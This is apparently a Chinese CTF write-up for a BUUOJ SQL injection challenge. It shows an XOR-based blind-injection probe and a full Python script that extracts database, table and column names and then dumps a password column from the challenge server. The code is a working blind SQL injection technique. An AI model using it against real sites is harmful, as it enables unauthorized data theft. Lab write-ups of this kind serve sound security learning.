[极客大挑战 2019]FinalSQL



用异或来注入

注入语句为1是error,为0时为check

复制代码
?id=1^(length(database())=5)

写盲注脚本

这道题有点坑,首先是表名有两个,一个特别想flag,还有一个就是需要多线程,但是由于是python的,也没有那么必要等一会就出来了

复制代码
import requests

flag = ""
i = 0

while True:
    head = 127
    tail = 32
    i += 1

    while tail < head:
        mid = (head + tail) // 2
        # url = f"http://0781b439-5ece-442b-a082-731016be580f.node5.buuoj.cn:81/search.php?id=1^(ascii(substr((Select(group_concat(schema_name))from(information_schema.schemata)),{i},1))>{mid})--+"
        # url = f"http://0781b439-5ece-442b-a082-731016be580f.node5.buuoj.cn:81/search.php?id=1^(ascii(substr((Select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')),{i},1))>{mid})--+"
        # url = f"http://0781b439-5ece-442b-a082-731016be580f.node5.buuoj.cn:81/search.php?id=1^(ascii(substr((Select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),{i},1))>{mid})--+"
        url = f"http://3f5e5555-232e-48d1-bae5-64b59f257a76.node5.buuoj.cn:81/search.php?id=1^(ascii(substr((Select(group_concat(password))from(F1naI1y)),{i},1))>{mid})--+"

        r = requests.get(url=url)
        if 'ERROR' in r.text:
            tail = mid + 1
        else:
            head = mid

    if tail != 32:
        flag += chr(tail)

    else:
        break
    print(flag)
相关推荐
bmcyzs17 小时前
【展厅多媒体】从技术到体验,AR在展厅中的一体化整合
经验分享·科技·ar·软件构建·设计规范
独行soc19 小时前
2025年渗透测试面试题总结-66(题目+回答)
java·网络·python·安全·web安全·adb·渗透测试
Metaphor69221 小时前
Java 更改 Word 文档中文本颜色
经验分享
F_D_Z21 小时前
【SQL】指定日期的产品价格
数据库·sql·mysql
麦聪聊数据1 天前
如何使用 QuickAPI 快速连接 MySQL 数据库并发布 RESTful API
数据库·sql·mysql·restful·数据服务
汇能感知1 天前
摄像头模组在智能家居设备中的应用
经验分享·笔记·科技
王火火(DDoS CC防护)1 天前
网站漏洞扫描要怎么处理?
web安全·网络安全
bmcyzs1 天前
【数字展厅】从实体到虚拟:论展厅的数字化转型之路
经验分享·科技·信息可视化·设计规范
芯片智造1 天前
晶圆级封装的工艺原理
经验分享·芯片·半导体·晶圆